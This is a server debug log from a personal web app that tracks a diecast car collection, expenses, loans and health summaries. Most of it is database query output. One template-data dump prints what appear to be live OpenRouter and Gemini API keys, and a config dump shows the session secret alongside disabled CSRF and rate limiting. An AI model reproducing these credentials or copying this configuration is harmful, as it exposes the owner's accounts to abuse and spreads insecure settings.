  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-06-01T05:59:44.767Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-06-01T05:59:44.767Z server-connect:app Executing action step select
2026-06-01T05:59:44.767Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-01T05:59:44.769Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-06-01T05:59:44.770Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-06-01T05:59:44.770Z server-connect:app Executing action step select
2026-06-01T05:59:44.770Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-01T05:59:44.770Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-06-01T06:27:55.142Z server-connect:router Serving templateView /
2026-06-01T06:27:55.144Z server-connect:app Executing action step identify
2026-06-01T06:27:55.144Z server-connect:app options: { provider: 'security' }
2026-06-01T06:27:55.145Z server-connect:auth No login cookie found
2026-06-01T06:27:55.145Z server-connect:output identity: false
2026-06-01T06:27:55.145Z server-connect:app Executing action step restrict
2026-06-01T06:27:55.145Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-01T06:27:55.145Z server-connect:output restrict: undefined
2026-06-01T06:27:56.842Z server-connect:router Serving templateView /login
2026-06-01T06:27:56.842Z server-connect:app Executing action step identify
2026-06-01T06:27:56.842Z server-connect:app options: { provider: 'security' }
2026-06-01T06:27:56.843Z server-connect:auth No login cookie found
2026-06-01T06:27:56.843Z server-connect:output identity: false
2026-06-01T06:27:56.843Z server-connect:router Render template layouts/authentication
2026-06-01T06:27:56.843Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '66.132.172.107',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-02T06:27:56.842Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '66.132.172.107',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '66.132.172.107',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-01T09:34:20.935Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-01T09:34:21.395Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-01T09:34:23.206Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-01T09:34:24.068Z server-connect:setup:upload Upload middleware configured.
2026-06-01T09:34:24.068Z server-connect:secure CSRF Protection initialized
2026-06-01T09:34:24.073Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-01T09:34:24.075Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-01T09:34:24.079Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-01T09:34:24.083Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-01T09:34:24.086Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-01T09:34:24.089Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-01T09:34:24.103Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-01T09:34:24.117Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-01T09:34:24.121Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-01T09:34:24.123Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-01T09:34:24.125Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-01T09:34:24.129Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-01T09:34:24.135Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-01T09:34:24.145Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-01T09:34:24.148Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-01T09:34:24.219Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-01T09:34:24.221Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-01T09:34:24.225Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-01T09:34:24.231Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-01T09:34:24.234Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-01T09:34:24.236Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-01T09:34:24.243Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-01T09:34:24.246Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-01T09:34:24.252Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-01T09:34:24.255Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-01T09:34:24.258Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-01T09:34:24.261Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-01T09:34:24.261Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-01T09:34:24.268Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-01T09:34:24.271Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-01T09:34:24.271Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-01T09:34:24.274Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-01T09:34:24.278Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-01T09:34:24.281Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-01T09:34:24.286Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
